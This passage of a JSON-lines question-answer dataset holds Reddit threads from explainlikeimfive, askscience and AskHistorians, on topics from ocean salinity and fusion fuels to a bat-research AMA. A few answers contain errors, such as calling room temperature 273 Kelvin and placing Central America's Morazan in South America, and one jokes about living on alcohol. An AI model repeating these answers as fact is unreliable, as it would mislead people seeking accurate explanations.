"http://en.wikipedia.org/wiki/Lenz%27s_law"], [], [], ["http://message.snopes.com/showthread.php?t=9291"], ["http://en.wikipedia.org/wiki/Induction_coil#Wireless_charging"], [], []]}
{"q_id": "dd78dx", "title": "why would a different country be better at investigating a political figure than their own country?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dd78dx/eli5_why_would_a_different_country_be_better_at/", "answers": {"a_id": ["f2eh4ex"], "score": [2], "text": ["In theory, the country in question could provide a lot of help if the wrongdoing occurred in that country.\n\nOf course, if we are talking about the situation with the US and Ukraine, if there actually was any wrongdoing it would be the responsibility of the FBI to investigate it.  Bypassing the FBI so that any dirt gathered can be used for political means is completely without merit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7mmq51", "title": "Is there any process that keeps ocean salinity in check? ie a salinity cycle akin to the carbon cycle.", "selftext": "Is there any process that removes salt from the ocean.\n\nAs rivers run across land to the ocean and dissolve salts along the way, it seems like the oceans are doomed to get saltier and saltier.\n\nI know melting ice due to global warming reduces salinity from releasing lots of fresh water, but that's only recently and I'm guessing will only last so long as there's still ice to melt.\n\nIs there maybe some chemical reaction that is naturally occurring to remove salt from the ocean? Otherwise won't the ocean get forever saltier and eventually intolerable to the organisms that live inside it like the Dead Sea?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7mmq51/is_there_any_process_that_keeps_ocean_salinity_in/", "answers": {"a_id": ["drv6pg2", "drva7p9"], "score": [11, 19], "text": ["The current global average salinity is around 35 parts per thousand. This amount of salt has accumulated over tens of millions of years of rivers and erosion pouring salt into the ocean. \n\nScientist use measurements of Oxygen 18 isotopes in sediment cores to estimate the past salinity of basins. Some of these results show that throughout the last ~80 thousand years, salinity has stayed within 20% of the current global average.\n\nMost of these changes are attributed to changes in sea level, which cause drastic variations in the amount of water over which all the salt is distributed, thus increasing or reducing salt concentration.\nWhile the process you mention is true and perpetually going on, its salt input rate is extremely slow, and so rivers only dominate salinity variability over scales of 10-20 million years. For any time scale shorter than that, sea level changes are the strongest influence. \n", "Yes. There does exist a salt cycle in the oceans.\nThe major process removing salt from the oceans is salt pan/evaporite formation[[1]](\n_URL_6_), such as that which formed these [salt mines](_URL_4_). The [Caspian Sea](_URL_5_) is a cut-off remnant of ancient Paratethys sea, and much of the salt in the water that was separated from the rest of the [World Ocean](_URL_0_) now exists as underground deposits in the region.\n\nSea organisms such as plankton also remove Ca (calcium carbonate) and Si from the water to form their shells. After they die, their shells fall to the sea floor as sediment, much of it later removed by plate tectonic subduction.[1]\n\nAdditionally, at geologically active regions on the sea floor, as water seeps into the pores and fissures in the rocks near hydrothermal vents, the salts in the water react with the basalt rock. Mg is removed from seawater to form clay minerals, and calcium sulfate precipitates into anhydrite deposits.[[2]](\n_URL_2_)\n\n\n[See also this older askscience post.](_URL_3_)\n\nThe references I listed aren't the best, but [here's a little more background](_URL_1_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/World_Ocean", "http://cs.mcgill.ca/~rwest/wikispeedia/wpcd/wp/s/Seawater.htm", "https://www.futurelearn.com/courses/exploring-our-oceans/0/steps/733", "https://www.reddit.com/r/askscience/comments/3nn3va/why_dont_the_oceans_get_more_salty_over_time_and/", "https://www.theatlantic.com/photo/2013/04/the-strange-beauty-of-salt-mines/100492/", "https://en.wikipedia.org/wiki/Caspian_Sea#Formation", "http://www.waterencyclopedia.com/Mi-Oc/Ocean-Chemical-Processes.html"]]}
{"q_id": "2uvtxd", "title": "why does the order of comments change when i login? i can sort by top, hot, and every other option, but it never matches the order i see when i'm not logged in.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2uvtxd/eli5_why_does_the_order_of_comments_change_when_i/", "answers": {"a_id": ["coch0w1"], "score": [13], "text": ["This is due to reddit using caching for non signed in users. It helps with site stability and for those users not logged in, they likely don't participate enough to notice.\n\nQuote:\n\n > Treat nonlogged in users as second class citizens.  By always giving logged out always cached content Akamai bears the brunt for reddit\u2019s traffic. Huge performance improvement. \n\nLink to news article:  \n_URL_0_\n\nLink to video talk:  \n_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://highscalability.com/blog/2013/8/26/reddit-lessons-learned-from-mistakes-made-scaling-to-1-billi.html", "http://www.infoq.com/presentations/scaling-reddit"]]}
{"q_id": "3ihcwl", "title": "What is the oldest verifiable children's drawing?", "selftext": "Inspired by /u/TenMinuteHistory's birch bark [post](_URL_0_), do we have any  older examples of children doodling on homework or other material?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3ihcwl/what_is_the_oldest_verifiable_childrens_drawing/", "answers": {"a_id": ["cuh74iq"], "score": [4], "text": ["The Rouffignac cave in southern France has evidence of children's art. The cave is estimated at 13,000-14,000 years BP.\n\nThere's a type of prehistoric cave art called finger fluting, which refers to the lines left behind when a person runs their fingers across a soft wall within the cave.\nHere's what it looks like in Rouffignac:\n_URL_1_\n\nThe archaeologist who did this research found that children aged 3 and 5 were responsible for a great portion of the flutings within Rouffignac. You can find a great article on her findings [here.](_URL_0_)\n\n[This](_URL_2_)\nis an earlier study done by one of the archaeologists who worked on the current research. This research was where the methodology for the 2011 research came from.\n\nIn the above study it has been noted that there are arguments for even older prehistoric children's paintings in Australia, from a cave dating to at least 30,000 years ago. However, the Rouffignac cave is the only confirmed with this methodology.\n\n"]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/AskHistorians/comments/3ignxb/when_i_think_of_ancient_writings_they_are_all/cug9wb8"], "answers_urls": [["http://www.cam.ac.uk/research/news/prehistoric-pre-school", "https://upload.wikimedia.org/wikipedia/en/0/07/RouffignacFlutings.jpg", "http://leslievangelder.com/antiquity-article-2006.pdf"]]}
{"q_id": "77m0yr", "title": "why does every single food item have the caption \"serving suggestion\" on it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/77m0yr/eli5why_does_every_single_food_item_have_the/", "answers": {"a_id": ["domvp81", "domvs6p", "domvsyy"], "score": [3, 2, 2], "text": ["Because they have to.  Otherwise, someone is going to open the box and sue them because \"That's not what it looked like on the package!\"\n\nSadly, I'm completely serious...", "Because it doesn't come with the beautiful bowls, side dishes, table cloth, etc. They're covering their butts about the fact that the food won't come out of the box looking like it does on the box. Sort of like when cereal ads say \"part of this balanced breakfast\" because their cereal is just a bunch of sugar and carbs, but alongside orange juice and fruit and stuff it looks a lot more healthy.", "It is required by Federal regulation. But the serving size is optional. If the manufacturer wants to appeal as a low calorie food the serving size will be small so there are few calories per serving."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ajr1l0", "title": "why does alcohol kill anxiety?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ajr1l0/eli5_why_does_alcohol_kill_anxiety/", "answers": {"a_id": ["eexyvyn"], "score": [4], "text": ["It doesn't kill anxiety, unfortunately. It just increases GABA and dopamine. It has an effect on your central nervous system and helps mute anxiety and panic attacks.\n\nBut, there is also a rebound effect as GABA levels drop and there is a strong increase in anxiety and the potential for panic attacks."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1j2fuw", "title": "can there be an eli5 wiki?", "selftext": "For the questions that have already been asked. I thought of this when I was trying to explain to someone what Encephalitis was and found it hard to break it down. What do you think? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1j2fuw/can_there_be_an_eli5_wiki/", "answers": {"a_id": ["cbaf53f", "cbaf9cp", "cbafxlo", "cbah8d4", "cbai2hq", "cbakzuj", "cbale7c", "cbam1dy"], "score": [2, 7, 87, 2, 3, 3, 2, 2], "text": ["Sounds like a nice idea to me. c:", "I think that in the past there was an effort to make one.  There was also a post linked on the sidebar called \"The 5 Year Old's Guide to the Galaxy\" or something like that.  They were good ideas, but new topics were rarely added, and in my personal opinion, there were a couple of entries that weren't all that great.  Not only that, but that didn't stop people from asking the same questions every day.  In the meantime, the best thing to do if you want to look up old questions is to use the search bar on the top-right or type something like this into Google:  \n\nsite:_URL_0_ searchterm1 searchterm2", "Short answer: no.\n\nLonger answer: We used to have an ELI5 Guide to the Galaxy before the wiki system was ever integrated, which was basically a self post by a mod that was rarely updated with a few links to some good explanations for common topics.\n\nHere is why that doesn't work anymore. There are a *ton* of topics, and sometimes having reposts can be a good thing. It makes room for fresh perspective, both timewise and just for people who haven't had the chance to speak up before. New explanations or a brilliant analogy can get a chance. In addition, who are we mods to determine which explanation for a topic like string theory or Keynesian economics is the \"best,\" and therefore gets to go on the wiki? And who would be able to edit it?\n\nThese are just a handful of the concerns. Now here's why it's a good thing we don't do this.\n\n**This entire subreddit is an archive of answers.** We have a search bar. Use it! We do everything we can to have answered posts marked as such. This doesn't hinder conversation, but it lets a casual browser now or in the future see at a glance what has already been explained-- much like a wiki. And yes, you too can edit it by writing up your own explanation or asking for clarification about a question that you feel was never properly answered in the past.\n\nThere are sites like Simple Wikipedia that serve a similar purpose. But to be honest, having an ELI5 wiki would ultimately hinder actual content while going largely unread and causing controversy.\n\n***\n\nAlso, please be sure to include \"Meta\" in your post the next time you ask about the subreddit itself!", "switch wikipedia language to \"simple English\"", "Isn't this pretty much simple.wikipedia? ", "Other comments have alluded to the \"Five-year-old's Guide to the Galaxy\" that used to be a part of the sidebar. \n\nThis was a very early part of ELI5 that Bossgalaga, Flabbergasted, Stinkylibrary, and I cooked up as an archive of the best posts of the subreddit covering a breadth of topics. The end goal was to take the model posts and replies and edit them into a final product--a freely downloadable PDF was thrown out as a possibility. \n\nAs many of you know, ELI5 was during its first months (and to my knowledge still is) the fastest growing subreddit in history. Very quickly this subreddit grew into something bigger than any of us anticipated, and keeping up with the Guide fell by the wayside in the wake of the rapid growth. We kept it around in the hopes that one day we'd be able to do all grand things we'd planned.\n\nUnfortunately, after several attempts to revive the Guide Project, it was apparent it was going nowhere. Several months ago we took the Guide off the sidebar since it hadn't been updated in at least a year. I'd still like to revive it one day, but it will require an entirely different approach to tackle than picking he best comments and archiving them like we had originally intended. We've realized time and again that that's an easy way to drown in worthy candidates and give up in frustration.", "It's called the search function. ", "The search bar exists for a reason.  The guidelines even ask that you use it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["reddit.com/r/explainlikeimfive"], [], [], [], [], [], []]}
{"q_id": "7j6ohs", "title": "why is facilitated diffusion considered passive transport?", "selftext": "I\u2019m going fucking insane. Everything online says it\u2019s passive, but it seems like every one of them ignores or doesn\u2019t acknowledge  that proteins need to use atp to change shape? They can only facilitate diffusion through phosphorylation. Which means it\u2019s not passive transport by definition?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7j6ohs/eli5_why_is_facilitated_diffusion_considered/", "answers": {"a_id": ["dr454ss", "dr45mrq", "dr4c7wr"], "score": [4, 2, 2], "text": ["Facilitated-Type Transport proteins do not need ATP to change shape. The Transport Protein will change shape by just interacting with the solute passing though. It's like how a magnet could change the shape of a bunch of iron fillings/pieces if placed nearby. It's passive b/c the solutes move from a [high] to a [low] until they reach equilibrium. They are are not pumped like in active transport.", "You're going insane because you're making a wrong assumption. Facilitated diffusion is considered passive because the carrier proteins do **not** require ATP to do their job. It's like how you can push a gate open without someone on the inside needing to open it for you.", "They do NOT need ATP to change shape, that's the key.   Conformational change occurs when a protein interacts with whatever it is built to interact with.   This can be ATP, but it certainly does not have to be.   Proteins that perform facilitated diffusion move their target substance DOWN it's concentration gradient, and any change in shape is caused by that substance interacting with the domain of the protein.   \n\nThe protein's initial shape occurs when it is not bound.   When the target substance binds to the protein's domain the substance becomes part of the protein's structure.  This causes the whole thing to change shape in a way that allows that substance to become unbound, and for the protein channel to open up to the other side of the membrane.   This is the same as when a protein is phosphorylated, except in that case it is ATP activating the protein's binding domain rather than what is actually being moved by the protein."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3org8g", "title": "What kind of MPG would a human get?", "selftext": "If humans were able to consume gasoline for energy how far could someone walk/ run on a gallon of the stuff? I know there are a lot of variables like efficiency and how much energy goes thermal vs mechanical and all, but I'm looking for a rough estimate.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3org8g/what_kind_of_mpg_would_a_human_get/", "answers": {"a_id": ["cvzryru", "cvzsu70", "cvztd4m", "cvzuwbs"], "score": [117, 2, 31, 5], "text": ["A lot.\n\nOne gallon of gasoline has 114,000 BTUs of energy, or 29,000 kcalories. So 1/10th of a gallon of gasoline would provide 2900 kcals, which is about the daily needs of a young reasonably-active male.\n\nNow, drinking gasoline for your caloric needs will probably kill you ^*(citation ^needed)*. But as many graduate students know, it is possible for ethanol to be used as a primary source of nutritional energy (in conjunction with caffeinated beverages.) There are 5736 calories/liter in 100% ethanol. In that case, the FDA standard daily needs of 2500 calories/day would be provided by 0.44 liters of 100% ethanol, or 0.968 liters of 45% ABV liquor. I suggest bourbon.", "I took the figure u/Overunderrated provided for gasoline and matched it to [this](_URL_0_) walking calorie calculator. At the default 3 mph speed and the average male American weight of 195, I got 280 miles to burn 28955 calories. Depending on weight and pace, the figure will vary.", "u/Overunderrated got a good start, but I'm going to drill down a bit into some of their assumptions to get a bit more precise, making some assumptions of my own about what sort of person is doing this and for how long.\n\n(the following have citations, but don't expect them to be definitive - that's just where I got these numbers from)\n\nLet's say a person can walk, on average, about [3.1mph](_URL_4_). Let's say that you walk 16 hours continuously and sleep for 8, that gives you 16*3.1=49.6 miles traveled in a day. The median American male is [69.3 inches tall](_URL_2_) and for that group, the ideal weight for an average body type is [157 lbs](_URL_6_). This man walking at this speed burns [235 calories per hour](_URL_0_), which means he burns 235 * 16 = 3760 calories (as u/Overunderrated stated below, this may be an underestimate based on whether or not that calculator takes in the basal metabolic (resting) rate). While sleeping, he burns [67 calories an hour](_URL_3_), or 536 calories. Putting it together, he needs 4296 calories per day. As we saw earlier, gasoline has 29,000 kilocalories (the actual unit for calorie we use in food), so 4296 / 29,000 = 0.148 gallons of gasoline (again, don't actually eat this). That means this man got 49.6 miles / 0.148 gallons = 334.8 MPG.\n\nThis further assumes that we have 100% conversion efficiency of calories, but the human conversion rate is closer to [20%](_URL_5_), which means that 80% of what we consume is not used for useful work. Don't worry, cars aren't much better, having a max thermodynamic efficiency of [25-30%](_URL_1_). So that means we'd need 5 times as much intake, and means our miles per gallon drops to 20% of what it was before: 66.96 MPG.\n\nAgain, there are tons of assumptions in there, but I would wager that this would be within, say, 20% of what an experiment with a similar setup would show. Not knowing the individual errors of each assumption, it's difficult to even stake a guess as to the error of this calculation, but it should be a good \"rough estimate\" as requested.", "One gallon of gasoline provides 29,000 kcalories. A 155 pound person burns 110 kc per mile walked. Which means that person can walk 263 miles by eating the equivalent of one gallon of gas. 29000/110 =  263.  This is on top of the energy needed to sustain the person's life.\n\nEdit: this page goes into the details and will answer all your questions: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://walking.about.com/library/cal/uccalc1.htm"], ["http://www.everydayhealth.com/Calories-Burned-Walking.htm", "https://en.wikipedia.org/wiki/Engine_efficiency", "http://www.cdc.gov/nchs/fastats/body-measurements.htm", "https://www.fitwatch.com/caloriesburned/calculate?descr=sleeping&amp;mets=0.9", "https://en.wikipedia.org/wiki/Walking", "https://www.quora.com/How-efficient-is-the-human-body-at-converting-matter-food-into-energy", "http://www.healthdiscovery.net/links/calculators/ideal_bw_men.htm"], ["http://physics.ucsd.edu/do-the-math/2011/11/mpg-of-a-human/"]]}
{"q_id": "1t9v5v", "title": "Why are men like: Alexander the Great, Attila the Hun, Julius Caesar, Sun Tzu, Napoleon Bonaparte and others considered great leaders?", "selftext": "But not Adolf Hitler, Joseph Stalin, Benito Mussolini etc?\n\nWhy are some considered bad and some good, when almost all of them have killed thousands of people for various reasons, usually their own personal ideology?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1t9v5v/why_are_men_like_alexander_the_great_attila_the/", "answers": {"a_id": ["ce5w14y"], "score": [7], "text": ["I'm not an expert, but I think there are two points here you should consider--\n\n1. Hitler, Stalin, and Mussolini were not military leaders. At least not in the same way that your \"greats\" are. They were first and foremost, politicians. Your great leaders (with the exception of Napoleon) of history come from times when military and political leaders were frequently the same person. Which brings me to my second point...\n\n2. Timeframe. There are people alive who were victimized by, or who fought against Hitler/Stalin/Mussolini. This will color modern perception. If any of the 3 have a lasting mark on history the way Caesar has 2,000 years later, then it might be worth discussing, but there's no telling, currently, where these guys fit into history. They're recent, and were very influential while in power, but the contributions by your \"great\" leaders have withstood the test of time, the recent dictators have not had the opportunity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "54i2bj", "title": "What is the point of using specific gravity?", "selftext": "In my pharmaceutics course/lab I see a lot of density measurements expressed in \"specific gravity\". I understand that Specific Gravity is the density of a substance in reference to a \"benchmark\" substance, but that \"benchmark\" substance is normally water, which is 1 g/mL. So my question is, why bother having a unit of measurement that is, for intents and purposes, equal to density? Are there instances where the reference substance isn't water and specific gravity would be preferable to use?\n\nEdit: I'm flairing this as \"Medicine\" just because I've only encountered Specific Gravity in my pharmaceutics course. If there is a more appropriate flair I'll change it accordingly.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/54i2bj/what_is_the_point_of_using_specific_gravity/", "answers": {"a_id": ["d82fonm", "d82y5x3", "d82yuil"], "score": [6, 2, 2], "text": ["Hello,\n\nIn thinking about it, and racking my brains, and a spot of research :\n\nWhile specific gravity is indeed similar to density, its not quite the same - the concept of specific gravity is that it is *dimensionless*, so not dependent on a single unit of mass or volume.\n\nHowever, it is also a *relative* measure :\n**SG = density of sample / density of water**\nin SI notation.\n\nWater is the obvious standard for measurement within Earth's atmosphere at room temperature of 273 Kelvin.\n\nSince density may be in g/dm^3, or perhaps oz/cubic inch - when dividing the units, they cancel out, leaving a dimensionless figure.\n\nthe SG of water is of course 1, and most biological materials are very close to that. The elements of mercury and bromine are of course higher, and ethanol and methanol are of course lower. Pitch is probably the highest SG, but there may be higher still.\n\nSG generally applies to liquids, and not as often to solids (where density makes more sense) or gases (where pressure or density/volume are more often used), though on occasion the SG *has* been worked out for these forms of matter.", "In my courses on soils, I've seen specific gravity used a lot, typically to define the density of a given soil. My understanding is that it's a simple way to compare soil densities, and can be easily understood by those using any units (since it's relative).", "By having the unit dimensionless, we easily can see the relative density of the substance to water.\n\nie SG of 3 is 3x denser than water, which is an easy factor to use\n\nWhy not density?\n\n3g/mL would be the equivalent density, but how many times denser than your medium is this? it's not 3g/mL, it's 3... so to get 3, we need to then take 3g/mL and divide that by the density of water 1g/mL. So basically by making it unitless we have our multiplication factor given, without this other step. Nothing special, just avoiding a conversion, but it sometimes makes conversions necessary! It's kind of a convenience technique for certain situations.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "c20otc", "title": "Why DT-Fusion instead of DD-Fusion?", "selftext": "Why is DT-Fusion the desired goal of fusion research when DD-Fusion has a higher energy output (or am I wrong here)? What are the benefits of DT-Fusion over DD-Fusion?\n\nWould be great if you guys could link sources as well!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/c20otc/why_dtfusion_instead_of_ddfusion/", "answers": {"a_id": ["erh4e79", "erhacuw"], "score": [15, 5], "text": ["D fuses with T more readily and at a lower temperature than it does with D.  In the jargon, it's said that the DT [cross section](_URL_0_) is larger than DD.  The larger the cross section, the more probable a fusion (collision, interaction, ..).  The lower the temperature, the lower the technical challenges involved in sustaining fusion.", "For some basic reading on various reaction and the benefits/drawbacks, [Wikipedia offers a really nice overview.](_URL_0_) As ketarax mentioned, D-T occurs at a much lower temperature which means you get a lot more reactions per time (releasing slightly less energy per reaction, as you observed). You also have fewer issues with energy loss of the plasma (D-D has a lot of Bremsstrahlung radiation, cooling the plasma at optimal temperatures for power production). \n\n & #x200B;\n\nThe biggest issue really with D-T isn't so much the power output but that most of its energy is in the form of an energetic neutron - this neutron's energy is not easily extracted for power, and causes material damage to the reactor and produces radioactive waste. This is why I believe the most interesting non D-T reactions are those which produce few neutrons."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Cross_section_\\(physics\\)"], ["https://en.wikipedia.org/wiki/Nuclear_fusion#Criteria_and_candidates_for_terrestrial_reactions"]]}
{"q_id": "ypizw", "title": "gawker's new information about romney's finances and taxes.", "selftext": "All this information coming out today all at once is hard to digest. Does anyone have a good handle on it and want to explain the main ideas?\n\n_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/ypizw/eli5_gawkers_new_information_about_romneys/", "answers": {"a_id": ["c5xvfp3"], "score": [4], "text": ["from what I gather, Romney had a very large portion of his money in offshore accounts, which, if true, could spell the death of his campaign. All of it was legal, but it looks VERY VERY bad"]}, "title_urls": [], "selftext_urls": ["http://gawker.com/5936394/"], "answers_urls": [[]]}
{"q_id": "26h7i1", "title": "Could the Federal Republic of Central America feasibly have remained united, or were the problems that plagued it too deep-rooted?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/26h7i1/could_the_federal_republic_of_central_america/", "answers": {"a_id": ["chsb3a3"], "score": [2], "text": ["It seems highly unlikely, especially given Costa Rica's almost complete isolation from the rest of the country. Quoting myself from a previous thread.\n\n > *The Failure of Union Central America 1824-1960* devotes a large portion of the book to the failure of the Central American Republic. If you can read Spanish there is also a fairly good biography on Morazan available( he was a Washington type figure in South America).\nCentral America did not work for many reasons. They never really fought a war for independence and as such there was little to unify the different states, they lacked that Washington type figure( or bolivar) who was important in maintaining cohesion in a new federal state . They were chronically poor unable to maintain even basic government functions. The other Central American States hated Guatemala who had about half the population and most of the wealth and who had enjoyed privileged status dating back to the Spanish rule. There was also often competition over the creation of an independent Bishop from Guatemala( generally El Salvador and to a lesser extent Nicaragua) The terrain itself was horrible and inland roads were seriously lacking, for instance it took 3 months to travel from Guatemala city to Costa Rica. They also never created a national army, relying on the armies of the individual states to maintain control as a result the central congress was often hostage to whichever state happened to have the army nearest at hand at any given time ( normally Guatemala or El Salvador). Compound this with an insane amount of battles that occurred during the federation providing for a very destabilizing effect, the book I mentioned above cites 130 battles and around 100 men wielding executive power from 1824-1842. Eventually after 2 decades of war the states saw little benefit in maintaining the Union. What is interesting is that the \"President\" of the Republic Franciso Morazan won every single battle he very fought but still lost ( hes a very interesting figure if you are interested in Central America)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4mskhx", "title": "AskScience AMA Series: I am Dr. Laura Kloepper, a biologist who studies the emergence and echolocation dynamics of large bat cave colonies. This summer I am traveling and camping with two female students as we record bats across the Southwest. Ask Me Anything!", "selftext": "Hi Reddit! I am Dr. Laura Kloepper, an Assistant Professor of Biology at Saint Mary's College in Notre Dame, Indiana. My research involves using audio, video, and thermal imagery to understand the emergence, flight, and echolocation dynamics of large (1 million +) colonies of Mexican Free-tailed bats. These bats leave the cave at densities of up to 1,000 bats per second, flying at speeds of 25 mph, beating their wings ten times per second, and rarely run into each other. Their primary mode of navigation is using echolocation, or making a loud sound and using the information in the echoes to create a visual representation of their surroundings. Everything we know about biology, mathematics and physics says that they should not be able to successfully echolocate in these large groups. My main research involves trying to understand how they are able to successfully navigate via echolocation without interfering with one another, and these findings have technological implications to improve man-made sonar. I am also interested in flight dynamics in large groups, factors that control the emergence timing, and unique characteristics of bat guano.\n\nThis summer I am traveling with two female undergraduate students and my trusty field dog as we visit 8 caves across the Southwest to tackle multiple research projects. We will be doing a lot of camping, consuming a lot of canned food, and putting close to 7,000 miles on our rental SUV. We will be documenting our journey on our blog, _URL_0_, or on our Twitter and Instagram (@smcbellebats). \n\nI will be here from 12:00pm EDT to 2:00pm EDT to answer your questions...AMA!\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4mskhx/askscience_ama_series_i_am_dr_laura_kloepper_a/", "answers": {"a_id": ["d3xya2a", "d3xya7b", "d3xys5w", "d3xzfzf", "d3y0tz9", "d3y0uya", "d3y0yit", "d3y0yl0", "d3y120h", "d3y1f6y", "d3y1k1d", "d3y1v4y", "d3y1xgn", "d3y23h0", "d3y252j", "d3y2akr", "d3y2fvk", "d3y2gq2", "d3y2gsk", "d3y2i16", "d3y2ke6", "d3y2o0n", "d3y2qz8", "d3y2xt1", "d3y342v", "d3y36qd", "d3y37tc", "d3y3bf4", "d3y3c35", "d3y3chz", "d3y3ftx", "d3y3l4o", "d3y3pp0", "d3y3zty", "d3y441h", "d3y48ui", "d3y4dkv", "d3y4i08", "d3y4l7d", "d3y4mhq", "d3y4q0t", "d3y4zdp", "d3y532c", "d3y5g5h", "d3y5ghz", "d3y5hu6", "d3y5hzw", "d3y5m07", "d3y5wot", "d3y5z7r", "d3y64q9", "d3y6a92", "d3y6qqx", "d3y6qyl", "d3y6xoy", "d3y73st", "d3y7cq0", "d3y7g5a", "d3y7hgy", "d3y7ton", "d3y7wl4", "d3y7x9y", "d3y8c40", "d3y8n5b", "d3y9187", "d3y9bsl", "d3y9t9x", "d3y9x57", "d3yaji6", "d3yasj9", "d3yau37", "d3yb9qu", "d3yby4f", "d3ybyal", "d3yc3xy", "d3yc5m3", "d3yc7op", "d3yct6c", "d3ydi2r", "d3ye0qq", "d3ye125", "d3yevgi", "d3yezak", "d3yf93c", "d3yi1gc", "d3yn7w3", "d3ypnx8", "d3yw7lo", "d3yy3i6", "d3z05is"], "score": [7, 9, 30, 14, 45, 42, 6, 4, 5, 8, 4, 2, 12, 3, 3, 36, 5, 50, 192, 11, 96, 6, 3, 6, 2, 5, 5, 5, 2, 3, 14, 8, 5, 8, 4, 5, 3, 5, 16, 8, 5, 28, 4, 6, 3, 5, 4, 6, 4, 6, 5, 6, 3, 3, 4, 6, 3, 2, 2, 4, 6, 3, 3, 3, 3, 2, 2, 5, 4, 2, 3, 15, 5, 5, 6, 4, 3, 3, 2, 3, 2, 2, 3, 2, 4, 2, 2, 4, 2, 2], "text": ["Do you receive sexual discrimination at your college and/or field? If you do, has there been any improvement in recent years?\n\nAlso, can humans echolocate?", "Could you simply explain how bat echolocation works and how it's distinguished from other kinds of echolocation?", "Hi Dr. Laura Kloepper,\n\nWhat's the biggest misconception about bats that you would like to debunk?\n\nAlso, how come they don't interfere with each other? How do you get to claim/identify something as complex as that?\n\nThank you for doing this AMA!", "Do bats have group flight behaviors, like murmuration?  ", "Is echo location an innate skill?  Or is there a learning curve?  Do baby bats need to learn echo location, or can they do it as soon as they fly?  Same question for flying, do baby bats need to learn or do they just drop and fly?\n\nAnd be sure to include photos of your dog in your blog posts!  What's your dog's name?\n", "Hi Dr. Kloepper,  \n\nI studied bats in grad school and loved it. Such fascinating creatures that are unfortunately so misunderstood. I hope to work with them again in the future. Public perception may be changing, slowly... I have two questions:  \n\n1) I don't know how common it may be, but I have read of some accounts that suggest bats may navigate using eyesight during well-lit times (e.g., dusk or full moon nights). Do you have any experience with this? Do you think this is to avoid detection by prey, or maybe because it's more energetically efficient than echolocation?  \n\n2) It is commonly said that bats are highly prone to human disturbance, including noise. I worked with Rafinesque's big-eared bats and did not see this sensitivity to the degree that is often suggested in bat circles, but I'm still amazed that bats take up residence in what must be very noisy places like the Congress Ave bridge in Austin. What are your thoughts on this? ", "How do bats know that the sound input they get from the echolocation is not that of the bat next to them?", "As someone who is an amateur bat lover, I just wanted to thank you for the time you spend working with these noble creatures! ", "Hi Laura. You have my dream job. I studied ecology and wanted to research bats. My path lead me somewhere else. Hopefully one day I can get back to the bats. I will add your twitter account. Thank you so much for posting. I have questions to ask! ", "Hi Dr. Laura Kloepper, \n\nWhat do you know about human echolocation? (If any)", "Do you have to be certified as a Qualified Bat Surveyor in the states that you do your research in? If so, how difficult is it to get that designation? ", "Can you explain to me how the phrase, \"blind as a bat\" is a misconception? ", "Other than providing bat boxes, is there anything that we can do, or stop doing to help local bat populations? ", "So when humans do that clicking thing when they're blind, does that actually help them?", "How do you make a living doing this?  Do you sell the research? Or does someone sponsor it right from the get go. \n\nI imagine traveling especially with helpers can't be cheap. ", "Hi Dr. Kloepper,\nHow has white nose syndrome affected your work? Last reports I heard had it in Nebraska and moving west but I'm not clear on how the south has been affected by it. Do you still treat each site with the potential for infection and sterilize as if it was there?", "I have two questions, if that's alright. \n\nI went to see the Carlsbad Cavern when I was little, and I had two questions that the ranger couldn't answer. At the time, there were hundreds or thousands of bats, all swirling up out of the cave and flying off to go do their nightly hunting. There was also an owl or a hawk flying around the edges of the colony and nonchalantly swooping through the cloud of bats to pick off one or two here and there for its dinner. However, the bats didn't respond to it at all, as if they were entirely unaware there was a threat.\n\n1. When bats are flying in a large group, as when they're returning home or leaving their cave, *how* do they manage to avoid hitting one another? Wouldn't the sounds of their echolocation get mixed up with the sounds of hundreds of other bats? Can you elaborate on the current theories about that?\n\n2. How can the bats be so accurately attuned that they can tell each other apart and catch tiny insects in flight, yet they seemingly can't identify a much larger owl preying on their group? Did the owl's feathers muffle the owl?\n\n-----\n\n**Edit:** Given my current schedule, I will be asleep when you are here to answer questions. If, in the course of your AMA, you think of something particularly interesting that hasn't been covered by another question, please feel free to go ahead and expound upon it; just pretend I asked an appropriate follow-up question and answer to your heart's content. Thank you very much!", "You mention specifically that you're traveling with two other women who are scientists. Do you feel like you have to address gender in order to remind the broader world that women are an important part of the scientific community?", "Out of curiosity, why was it necessary to mention that the two students assisting you were female?", 